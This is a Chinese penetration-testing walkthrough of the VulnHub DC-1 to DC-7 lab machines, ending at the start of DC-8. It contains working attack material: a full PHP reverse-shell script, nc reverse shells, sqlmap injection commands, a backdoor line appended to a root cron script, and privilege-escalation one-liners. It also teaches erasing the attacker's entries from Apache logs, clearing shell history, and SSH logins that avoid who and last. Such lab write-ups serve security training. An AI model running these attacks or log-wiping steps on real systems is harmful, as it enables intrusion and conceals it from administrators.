DC1-9(全)linux提权靶机渗透教程

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货,建议收藏

[toc]

前言

本文用到的靶机汇总都给宝子们准备好了,放在这个夸克链接了,需要自取,官网下有点慢

https://pan.quark.cn/s/571fc93bedbd

image-20241118000329403

DC-1靶机

前言

由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号泷羽Sec团队及作者不为此承担任何责任,一旦造成后果请自行承担!

本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。

环境准备

靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

攻击机:kali,自行准备

信息收集

开启靶机,切换net/桥接模式

image-20240813182844318

nmap探测主机存活80/sP探测

nmap的基本使用,以及高级用法文章参考:

nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式

image-20240813183742622

# 或者
 nmap -sP 192.168.209.0/24  # -sP这个选项是用来指定一个主机发现方法。

image-20240818160824830

靶机端口扫描,开放了22、80、111、34471端口

nmap 192.168.209.157 -p- -v

image-20240818135805710

访问http服务的80端口,进入到web界面,有一个登录

image-20240813183751733

sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入

image-20240818134025496

注册一个用户试试,他还要发送邮件,并没有让我们填写密码

image-20240818133926122

需要批准之后才能注册用户

image-20240818134250625

由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用

image-20240818134516901

访问

image-20240818133122548

也没发现什么有用的内容

image-20240818134440488

在这里没用,应该是一个api接口

image-20240818135015994

还有一些七七八八的就不看了,基本没啥作用的

漏洞探测

使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息

whatweb -v 192.168.209.157

image-20240818140459776

msf漏洞利用

msf漏洞利用神器,直接搜索Drupal这些模块

msfconsole
search Drupal

image-20240818141259999

使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的

show payloads

image-20240818141459438

我们使用第二个模块试试

image-20240818141815404

use unix/webapp/drupal_drupalgeddon2
# 或者
use 1
# 然后
show payloads # 显示该模块下的所有payload

发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中

image-20240818141741955

设置payload为tcp反弹shell

set payload payload/php/meterpreter/reverse_tcp

当然也可以使用tcp正向连接

set payload payload/php/meterpreter/bind_tcp

他们的区别

正向连接:在msf中通常是指,bind_tcp,定义–攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听

反向连接:在msf中通常是指,reverse_tcp,定义–更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。

主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping

这里就使用反向连接来测试

image-20240818162648247

如果出现如下错误多半是防火墙端口没有放行

image-20240818142335776

就是配置下的本地监听端口

image-20240818142405516

使用iptables放行端口

 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT

这个时候重新开始攻击即可

run
getuid

image-20240818142514729

后渗透

查看系统信息

sysinfo

image-20240818142715886

获取shell

shell

image-20240818142745872

上面终端显示的样子不好看,使用python调用系统终端

python -c "import pty;pty.spawn('/bin/bash')"

image-20240818143019978

这样子就好看多了

找到flag1.txt

image-20240818143302407

他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下

find . -name 'set*'

image-20240818143545032

又给了你一个提示

What can you do with these credentials?

你能用这些凭证做什么?

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

那当然是连接本地数据库

mysql -udbuser -pR0ck3t

image-20240818143958629

查看所有数据库

image-20240818144043739

切换到这个站点的数据库,并查看有什么表

use drupaldb
show tables;

找到有一个users表

image-20240818144314899

里面包含用户名/密码信息

select * from users;

image-20240818144402503

这样子不好看,那么我们就加一个G

select * from usersG;

image-20240818144902441

不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了

image-20240818145235963

从当前站点目录查找这个文件,并发现有一个password-hash.sh文件

find . -name '*hash*'

image-20240818145449078

在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示

image-20240818150006217

那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?

image-20240818150056202

把他复制下来

$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq

进入mysql

mysql -udbuser -pR0ck3t

修改密码

update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';

登录成功了!

image-20240818150702067

这里我们就找到了flag3

image-20240818150819381

点进去找到这个,提示我们去passwd文件看看

image-20240818150933734

提示我们去passwd,找到flag4

cat /etc/passwd

image-20240818153606548

切换flag4用户下的目录

image-20240818153823104

查看这个文件的权限,尝试追加用户提权,但是只能root读写

image-20240818153930758

find / -perm -u=s -type f  2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。

image-20240818155341060

使用find提权

find / -exec "/bin/bash" -p ;

提权成功,找到了最后一个flag

image-20240818160245793

痕迹清除

观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)

1、中间件日志清除

对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

 find / -name 'access*'

image-20240818185526278

查看都有一些什么内容

cat /var/log/apache2/access.log

image-20240818184346502

筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录

sed -i '/192.168.209.1/d' /var/log/apache2/access.log

这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志

cat /var/log/apache2/access.log

可以看到连同kali(192.168.209.151)的日志一起清除成功了

image-20240818190502898

同理正常请求日志清除了,错误请求日志也要删除吧

find / -name 'error*'

image-20240818192956744

cat /var/log/apache2/error.log

image-20240818193103405

一大堆kali攻击日志

同理直接使用sed更改

 sed -i '/192.168.209.1/d' /var/log/apache2/error.log

清除成功!

image-20240818193449850

2、密码还原

对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧

登录数据库

mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";

image-20240818190851839

3、清除数据库日志

没有权限

image-20240818191045098

查看日志状态

show variables like '%log%';

image-20240818191714497

general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。

  • general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。
  • general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。

慢查询日志slow_query_log看图也是关闭的

  • slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log
  • slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。

找到这两个日志文件路径,看看有没有,很好没有,这一步跳过

image-20240818191618602

4、清除命令历史

查看自己曾经输入过的命令

history

image-20240818192552351

history -c # 清除命令历史

image-20240818192643230

5、登录日志

这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。

6、nmap扫描日志

nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。

清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。

image-20240818195225115

7、更多

我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知

扩展知识

隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

DC-2靶机

前言

由于传播、利用本公众号小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!

本文主要讲解了渗透测试中的完整渗透测试流程,主要介绍了【wpscan】、【cewl】、【rbash逃逸】的使用技巧,靶场为vulnhub的机器大家可以自行下载,如果文章哪有不对,还请师傅们留言指出,谢谢您。

图片[58]-DC1-9(全)linux提权靶机渗透教程-泷羽Sec

环境准备

靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip

攻击机:kali

网络:nat模式

靶机复现

nmap主机发现,192.168.209.166或者使用arp-scan -l

nmap -sP 192.168.209.0/24

image-20240819231236028

对扫描出的靶机进行全端口扫描

nmap -sS -p- 192.168.209.166

image-20240819235914088

我访问这个ip的时候,自动跳转到了http://dc-2

image-20240820000241332

但是我加上这个ip之后404

image-20240820000449076

index.php可以正常访问

image-20240820000838345

那么应该就是host文件问题,修改hosts C:WindowsSystem32driversetchosts在行尾添加这一行内容

image-20240820001336855

保存之后,再次访问首页,就可以正常访问靶场了

image-20240820001424529

Flag1

"Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl."

大致意思就是你可能需要cewl这款工具

image-20240820095342483

看目录扫描结果,这是一个wordpress网站,有一个后台界面wp-admin

image-20240820002022534

sql注入万能密码

image-20240820002120097

拦截登录响应

image-20240820094643381登录失败

image-20240820094943928

还有一些其他的测试方法,比如xss,弱口令都不行,这里我们就要用到cewl这个工具了

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。

我们将扫描结果重定向到passwd.txt(就是保存文件或者使用cewl的自带的-m参数)

image-20240820102427737

使用wpscan枚举可能的用户名

WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。

image-20240820104348738

一共扫描出来三个用户admin,jerry,tom可以使用

image-20240820104336608

此时我们已经有了用户名和密码字典

image-20240820104649071

使用wpscan爆破账号密码,指定刚刚我们生成的用户字典users.txt和密码字典passwd.txt

image-20240820104801645

爆破成功,结果如下

jerry / adipiscing
tom / parturient

image-20240820104916266

来登录

image-20240820105057379

成功

image-20240820105113086

在旁边导航栏找到了Pages,即可得到flag2

image-20240820105606793

这提示跟没提示一样

If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.

image-20240820105706094

文件上传

上传一个php文件,被禁止了

image-20240820110019969

只能上传图片文件,我找了半天也没找到文件包含漏洞的地方

image-20240820110405130

文件后缀爆破,也全部失败了

image-20240820110706291

系统渗透

换思路我们之前端口扫描的时候有一个7744端口,不知道是什么服务,百度也搜不出来

image-20240820111013456

ssh默认22端口是拒绝服务的,指定一下7744端口的时候既让让我们输入密码,那这个就是ssh服务端口了

image-20240820111350274

第一个用户测试失败

jerry / adipiscing

image-20240820114238196

第二个用户,登录成功

tom / parturient

image-20240820114332517

命令被限制了’rbash’

什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行,这里就让我的cat、clear、su等等命令进行了限制

image-20240820122536299

查看可用的命令

compgen -c

image-20240820122655999

滑到最下面,有一个vi命令

image-20240820122820840

flag3.txt内容:可怜的老Tom总是追着Jerry跑。也许他应该为自己造成的压力而死。—网易有道

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

image-20240820122923125

我们去/etc/passwd,看看能不能添加一个”root“用户,看样子不行了,你也可以直接查看这个文件的权限,这里我就不掩饰了

image-20240820123223222

去home,cd 并不能直接使用,但是有一个 ls

image-20240820123356443

直接找到了flag4

image-20240820123323592

告诉我们使用git离开这里,应该就是让我们用git提权

image-20240820123514195

查看文件所属,是jerry的,这里直接跳过吧,找到就好,没什么作用了

image-20240820124029866

我们看看刚刚的flag3.txt,所属用户为tom

image-20240820124913112

那么就用它提权试试

image-20240820131620410

执行:shell

image-20240820131451037

这里直接"提权"成功了

image-20240820131701391

但是没什么作用哈,root目录也切换不了

image-20240820141045057

查看环境变量

image-20240820142318489

rbash逃逸

我们通过修改环境变量,之后使用jerry / adipiscing登录

tom@DC-2:~$ export PATH=$PATH:/bin/   # 直接添加环境变量
rbash: PATH: readonly variable        # rbash
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a    # 把/bin/sh给a
$ /bin/bash
tom@DC-2:~$ su                        # 这里修改了BASH_CMDS的值后并不能直接使用su命令
bash: su: command not found         
tom@DC-2:~$ export PATH=$PATH:/bin/   # 添加环境变量
tom@DC-2:~$ su jerry                  # su 正常使用
Password:
jerry@DC-2:/home/tom$ 

图解

image-20240820143111217

此时我们是jerry权限,还是进不去root

image-20240820142113570

查看当前suid可用命令/文件

find / -perm -u=s -type f 2>/dev/null

image-20240820143617226

这里有一个sudo可以用,rbash逃逸中的必要条件

image-20240820143803457

git提权

sudo git help config
!/bin/bash 或 !'sh' #完成提权 
# 或者
sudo git -p help 
!/bin/bash #输入!/bin/bash 即可打开一个用户为root的shell

image-20240820144127044

ok完成dc-2靶机

image-20240820144212907

总结

DC-2详细介绍了利用Kali Linux对Vulnhub的DC-2靶机进行渗透测试的过程。通过nmap发现靶机及开放端口,利用cewlwpscan工具生成字典,并成功爆破WordPress后台账号密码。面对rbash限制,通过环境变量修改实现逃逸,并利用git和sudo提权获取root权限。整个流程覆盖了信息收集、漏洞利用、权限提升等多个阶段,展示了全面的渗透测试技巧。

DC-3靶机

靶场下载地址:

官网:
http://www.five86.com/downloads/DC-3-2.zip

百度网盘:
https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2 

刚进去的时候会遇到个错误

image-20241027134644738

编辑配置项

image-20241027134737705

开启nat模式

image-20240918145420442

开机

image-20241026133822223

开始渗透,主机发现

image-20241026135337480

端口快速扫描

image-20241026135300504

80端口服务,并快速找到编程语言为PHP语言

image-20241026135705618

御剑扫描

image-20241026140153946

后台界面

image-20241026140342830

安装 joomscan 这个工具

image-20241026171913180

检查

image-20241026171949298

检索这个joomla版本信息是3.7.0

joomscan -u 192.168.60.131

image-20241027124459668

使用 searchsploit 来搜索漏洞信息

image-20241026212942736

搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。

image-20241026213331135

再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞

image-20241026213447048

我们可以利用-p选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。

searchsploit 42033
searchsploit -p 42033

image-20241026214945560

我们查看这个内容

image-20241026214852755

复制上图的payload,并把localhost本地地址替换成靶场地址,利用sqlmap工具

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user

这个时候就得到了数据库信息,并使用 --current-user 获取当前数据库用户,可以看到是root用户

image-20241026220730291

指定数据库为当前网站的数据库,枚举数据库所有表

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

image-20241027004716244

指定表"#__users",并列出所有的列名

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns

image-20241027005401815

我只要usernamepassword两个字段

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

image-20241027005554431

创建一个文件,存储好hash后的密文,使用 john 来爆破一下,提示我们使用--show参数,来显示所有可能的密文

image-20241027011152257

得到 admin的密码snoopy,登录后台

image-20241027015313432

添加一个php脚本,用于反弹shell

image-20241027015515753

我们利用kali自带的webshell工具进行反弹

image-20241027103804358

修改一下这个文件的两个参数,然后全部复制到这个script.php

image-20241027111332254

源码如下

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.60.132';  // 你攻击机的IP地址
$port = 1234;       // 攻击机nc监听的地址
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$stringn";
    }
}

?> 

粘贴到这个php木马中

image-20241027111701587

kali开启监听

image-20241027111943430

默认情况下的模板位置是在 /templates 目录下

image-20241027101917304

当前模板名称为 beez3

image-20241027111609846

得出脚本位置

http://192.168.60.131/templates/beez3/script.php

成功上线

image-20241027112011119

创建一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20241027112259653

上图可以看到不是root用户

信息收集

image-20241027112714250

两个重要文件的权限

image-20241027112842821

查看发布者信息,都没有可疑点

image-20241027113256889

那么还是一样,使用searchsploit漏洞检索

image-20241027113902961

我们需要的是提权漏洞,再添加关键字 Privilege Escalation,找到这两个

image-20241027135333735

漏洞利用

我们用第一个4.4.x的漏洞,进行尝试

image-20241027114228148

查看这个文件可以看到漏洞的产生原因以及利用方法。

image-20241027114419054

搜索exp,有一个下载链接

image-20241027114557840

下载下来即可

image-20241027114734748

解压,并开启http请求

image-20241027120202956

复制这个文件的地址就好

http://192.168.60.132:8000/39772/exploit.tar

image-20241027120359369

靶机下载这个文件,但是提示我们没有权限

wget http://192.168.60.132:8000/39772/exploit.tar

image-20241027120914466

这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本

find / -name "script.php" 2>/dev/null

image-20241027121619894

我们在这个文件下载,下载完成

image-20241027121716615

解压到这个文件夹中

image-20241027121837257

根据这个39772的txt文件提示依次执行

image-20241027115951135

提权成功。

image-20241027122030358

成功通关!

image-20241027122114259

总结

本次靶机练习主要用到的工具是searchsploit工具,利用框架/系统已知的漏洞进行渗透测试,从而获取到系统的最高权限。

DC-4靶场

使用SYN隐蔽扫描指纹信息

image-20241116161952225

目录扫描

image-20241116164028183

80端口

image-20241116163656069

万能密码

image-20241116164102784

拦截

image-20241116164227912

302跳转了

image-20241116164326527

查看字段信息

image-20241116164527608

伪造cookie

image-20241116171944747

爆破,全部都是200,说明伪造cookie已经成功,任意一个密码都能登录

image-20241116172305976

点击Command随机选择一个选项,并抓包,修改payload,cat /etc/passwd,能够正常执行

image-20241116172552242

那么直接nc连接

image-20241116172841728

创建交互式终端

python -c 'import pty; pty.spawn("/bin/bash")'

信息收集,SUID文件,有俩个可以利用,sudo和exim4命令提权

find / -perm -4000 -print 2>/dev/null

image-20241116173338400

exim版本信息,4.89 #2版本

image-20241116174916335

/etc/os-release操作系统

image-20241116173424998

/etc/passwd权限

image-20241116173446869

/etc/shells查看可用的shell

image-20241116174113528

主机名

image-20241116174613725

内核版本信息

image-20241116174650056

获取所有版本信息

image-20241116174529999

EXP利用

找了一些信息,那么就可以开始分析了,先找exim 4漏洞,待会使用msf进行漏洞利用

image-20241116175026045

切换到exp位置,并使用py开启http服务

image-20241116175123793

从攻击机器下载文件,并赋予执行权限

image-20241116175613532

image-20241116175655666

image-20241116175751014

MSF

从图中可以看到,该版本制造在2018年的2月10日

image-20241116180050255

显示它的配置项,他需要一个session会话

image-20241116180151198

image-20241116181907983

反弹成功

image-20241116182032611

结束掉这个会话,重新反弹,使用run -j 将会话保存到后台,这样就能获得会话sessions了

image-20241116182204450

存在漏洞,但是会话没有创建成功

image-20241116182524595

换一个payload就好了,之前是x64,换成x86

image-20241116182830175

DC-5靶机

主机发现

image-20241116102400639

全端口扫描,并使用-T参数加快速度

image-20241116102344480

打开首页

image-20241116102632704

dirb目录扫描

image-20241116102734919

使用burp suite目录扫描

image-20241116112725504

切换到contact界面,抓包

image-20241116103343660

fuzz大法,添加四个payload 攻击类型选择第二个,撞击一组payload

image-20241116103519217

sql注入不存在

image-20241116103549700

xss测试

image-20241116104805743

不存在

image-20241116104826311

再搜集其他信息,也没看到什么

image-20241116104957098

再使用dirsearch 搜索,看到一个footer.php文件

image-20241116115204629

访问一下

image-20241116115607963

再刷新一下,意外的发现了数据会变

image-20241116115331918

这时候就可以判断,这个表单提交成功的页面,可能存在文件包含漏洞,包含index.php试试

image-20241116115736947

包含/etc/passwd

image-20241116115753604

这里有一个思路,就是包含nginx日志文件,在Linux系统中,Nginx的默认日志文件位置通常可以在Nginx的配置文件中找到。以下是一些关于Nginx默认日志文件位置的信息:

访问日志(Access Log)

默认情况下,Nginx的访问日志通常存储在/var/log/nginx/access.log文件中。这个文件记录了所有访问服务器的请求信息,包括请求的时间、请求的URL、访问者的IP地址等。

错误日志(Error Log)

默认情况下,Nginx的错误日志通常存储在/var/log/nginx/error.log文件中。这个文件记录了Nginx服务器的错误信息,如请求出错、服务器无法响应等。

做一个正常的请求

image-20241116120603224

包含访问日志,没有任何回显,说明文件不存在

image-20241116120616510

包含error.log文件

image-20241116120734162

尝试连接,但是返回的数据为空

image-20241116121425732

我们再次抓包,发现一句话马变成了url编码的东西

image-20241116125731676

修改为一句话木马,再发送请求

image-20241116125551229

再次连接,就可以了

image-20241116125639662

反弹shell,攻击机开启监听

image-20241116130105308

使用nc命令

image-20241116130452354

开启交互式终端

python -c 'import pty; pty.spawn("/bin/bash")'

查找SUID文件(此文件可以以文件所有者的身份执行文件),看到了这个screen还有版本

screen 是一个在 Unix 和类 Unix 系统上使用的终端多路复用器。

image-20241116155550619

searchsploit 检索漏洞,可以找到一个本地提权漏洞,并且有exp

image-20241116131350828

切换到exp文件目录,并开启python的http服务

image-20241116131715840

然后依次执行命令,在网站目录中是没有写入权限的,需要切换到根目录,找到tmp目录,其他用户具有读写权限

image-20241116131934112

此时就能正常下载kali攻击机的exp文件了

image-20241116132113335

赋予执行权限

image-20241116132201651

whoami

image-20241116132309850

找到root目录下的flag

image-20241116132358019

DC-6靶机

# 主机发现
nmap -sP 192.168.209.0/24

# 全速全端口SYN扫描指纹信息
nmap -sSV 192.168.209.143 -p- -T5

image-20241116204129071

发现网站无法访问,而且自动跳转到了一个域名

image-20241116204340353

那么就需要添加一个host解析

image-20241116205458092

这个时候就能访问了

image-20241116205515902

翻译,没有什么信息

image-20241116205650743

目录扫描

image-20241116205804456

找到后台管理界面

image-20241116205817428

这里要用到一个工具,WPScan,一个专门为wordpress准备的信息收集工具

image-20241116211546909

一个个看看

image-20241116211701086

image-20241116211730486

使用-e参数枚举可能的用户名,可以看到有5个可能的用户,admin,graham,mark,sarah,jens

wpscan --url "http://wordy/" -e

image-20241116212406531

添加payload

image-20241116212339193

image-20241116212508351

添加字典

image-20241116212528560

admin失败,下一个用户

image-20241116212628067

都失败了,可能是我字典有问题,用用kali的。。。。。。。。。。

image-20241116215003643

泥煤的,这得何年马月去了,这时候我去搜了搜过程,作者也给了提示,需要对字典进行筛选,我敲,以后大巴及,一定要看作者的留言,审题啊

image-20241116221043577

快点复制下来

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

image-20241116222809446

爆破成功

Username: mark, Password: helpdesk01

image-20241116223535561

翻来翻去也就这么一个页面可能存在漏洞

image-20241116224920236

试试命令执行,但是不存在

image-20241116224705779

换这个

image-20241116224907850

找到漏洞点

image-20241116224824108

此时就可以反弹shell,开启交互式终端,并查找SUID文件

python -c "import pty; pty.spawn('/bin/bash')"

find / -perm -4000 -print 2>/dev/null

image-20241116230733801

所有系统版本信息

image-20241116231922948

searchsploit漏洞检索,但是很遗憾没有提权漏洞

image-20241116231942700

直到我找到了这个俩个提示

user: graham - GSo7isUM1D4 - done

image-20241116232337369

尝试切换用户

image-20241116232217224

sudo可用

image-20241116233255521

sudo -l 命令的输出可能会包括以下几部分信息:

  • 用户:显示当前用户的用户名。
  • 主机:显示当前主机名,指明这些sudo权限是在哪台机器上有效的。
  • (用户):在括号中显示的是用户可以通过sudo切换到的其他用户,通常是root或其他管理员账户。
  • 命令:列出用户可以执行的命令,可能包括完整的路径、命令别名或通配符,表示一系列命令。

image-20241117000652880

提权

sudo -u jens ./backups.sh

image-20241117001005669

可以看到nmap可以用

image-20241117001133654

利用nmap提权

echo "os.execute('/bin/bash')" > /tmp/TF
sudo nmap --script=/tmp/TF

image-20241117002654756

得到flag

image-20241117002635221

DC-7靶机

先看作者描述,根据描述,不难看出,暴力破解是没有效果的

image-20241117112706785

主机发现

image-20241117103804622

使用SYN扫描进行指纹识别,用syn扫描有助于提高隐蔽性

image-20241117103816910

访问80端口

image-20241117103715184

sql注入测试

image-20241117110302021

robots.txt文件

image-20241117110412166

访问第二个/user/login,有一个登录页面

image-20241117110432073

wappalyzer CMS识别

image-20241117111650153

万能密码

image-20241117111556513

CMS版本漏洞检索,看到有个反序列化的,并且msf中有

image-20241117112158401

msf失败

image-20241117112452545

直到我看到这个东西

image-20241117122027501

搜一搜

image-20241117122630937

看样子就是这里了

image-20241117122016758

找到账号密码

image-20241117122356438

登录不成功

image-20241117122434323

但是之前有一个22 ssh端口,登录成功了

image-20241117122551939

查找SUID文件,可以看到一封信

image-20241117124623693

有俩个文件,看样子是一个计划任务

image-20241117124827407

下面这个数据库文件,看了下,没什么东西,我们去查看一下这个sh文件的权限,属主为root,属组为www-data,其他用户只有读取和执行的权限

image-20241117125317328

查看内容会发现一个 drush 命令

Drush 是一个强大的 shell 接口,可以直接从云服务器命令行管理 Drupal。

image-20241117125408204

发现可以创建新用户

image-20241117130741079

来到网站的根目录,就可以添加用户了

image-20241117131053577

能够正常添加,并登录,这里好像什么也没有

image-20241117131134751

修改管理员密码

image-20241117131615719

找到管理面板,我修改后的的一句话木马,也不管用,因为这是一个html页面

image-20241117132157338

后来了解到,可以用这个插件,我们去安装一个插件,在这里下载

https://www.drupal.org/project/php/releases/8.x-1.2

image-20241117151929799

仔细找找后台添加插件的地方

image-20241117132550035

粘贴链接

image-20241117151850469

启用插件

image-20241117151813657

筛选php这个插件,点击安装

image-20241117152107687

安装成功

image-20241117152117420

这时候我们再去修改源码,添加一句话木马

image-20241117152208267

连接成功

image-20241117152308703

得到了www-data权限

image-20241117152346252

反弹shell,创建一个交互式终端

python -c "import pty; pty.spwan('/bin/bash')"

image-20241117152639663

向这个脚本追加一行

nc 192.168.209.1 80 -e /bin/bash

image-20241117171631940

image-20241117171604266

攻击机器监听,即可

原理:前几步已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限

image-20241117171718953

DC-8靶机

前言

讲解了DC-8提权靶机的通关教程,比较基础,适合刚入门不久的师傅们,以及searchsploitsqlmapjohnnmap工具的使用,以及SUID的特性。

靶机下载:

https://pan.quark.cn/s/efe0be139167

靶机复现

配置好net网卡

